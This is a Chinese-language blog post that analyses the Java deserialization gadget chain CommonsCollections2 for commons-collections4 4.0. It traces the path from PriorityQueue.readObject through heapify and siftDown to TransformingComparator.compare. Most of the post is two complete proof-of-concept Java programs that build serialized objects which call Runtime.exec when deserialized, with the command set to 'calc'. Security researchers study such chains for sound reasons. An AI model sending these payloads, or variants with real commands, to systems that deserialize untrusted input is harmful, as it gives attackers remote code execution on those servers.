Java反序列化CommonsCollections(二)

环境

在pom.xml中添加commons-collections4

<dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
</dependency>

4.0和3.2.1是可以共存的

分析

CC2是一条专门用来应用于CC 4.0版本的新链子 而3.x的链子在4.0中依旧可以用 只需要将lazyMap的decorate方法变成lazyMap方法 payload 虽有org.apache.commons.collections.改成org.apache.commons.collections4.

package com.cc2;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantFactory;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.HashedMap;
import org.apache.commons.collections4.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Map;
import java.util.PriorityQueue;

public class cc2Test {
    public static void main(String[] args) throws Exception{
    Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashedMap<Object, Object> map = new HashedMap<>();
        Map<Object, Object> lazymap = LazyMap.lazyMap(map,new ConstantFactory<>(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry<>(lazymap, "aaa");
        HashedMap<Object, Object> map2 = new HashedMap<>();
        map2.put(tiedMapEntry,"sss");
        lazymap.remove("aaa");
        Class c = LazyMap.class;
        Field factory = c.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap,chainedTransformer);
        serialize(map2);
        unserialize("ser.bin");
    }
    public static void serialize(Object o) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(o);
    }
    public static void unserialize(String fileNanem) throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(fileNanem));
        objectInputStream.readObject();
    }
}

cc链主要是TransformingComparator这个类中的compare方法

public int compare(final I obj1, final I obj2) {
        final O value1 = this.transformer.transform(obj1);
        final O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

调用了transform方法 还是跟之前一样 把this.transformer设置为ChainedTransformer就可以接着之前的链进行调用 然后找哪里调用了compare方法 PriorityQueue中readObject方法

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }

调用了heapify()

private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

调用了siftDown

private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

调用了siftDownUsingComparator

private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

这里边就调用了compare方法 所以这条链就成了 而且还是在readObject中 poc就比较好写了

package com.cc2;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantFactory;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.HashedMap;
import org.apache.commons.collections4.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Map;
import java.util.PriorityQueue;

public class cc2Test {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        Class c = TransformingComparator.class;
        Field transformer = c.getDeclaredField("transformer");
        transformer.setAccessible(true);
        transformer.set(transformingComparator,chainedTransformer);
        serialize(priorityQueue);
        unserialize("ser.bin");

    }
    public static void serialize(Object o) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(o);
    }
    public static void unserialize(String fileNanem) throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(fileNanem));
        objectInputStream.readObject();
    }
}

poc中

priorityQueue.add(1);
priorityQueue.add(2);

这里主要是后边的heapify中需要有两个元素 才进行排序 可以调试一下 file 如果没有的话 for循环是直接结束的 file

流程

PriorityQueue->readObject(调用了heapify())

PriorityQueue->heapify() (调用了siftDown())

PriorityQueue->siftDown() 调用了siftDownUsingComparator

PriorityQueue->siftDownUsingComparator 调用了comparator

comparator.compare  这里的comparator是TransformingComparator

TransformingComparator->compare 调用了transform

this.transformer.transform

接着之前的链

Java反序列化CommonsCollections(二)
http://example.com/2021/09/21/OldBlog/java反序列化commonscollections二/
作者
Autumn
发布于
2021年9月21日
许可协议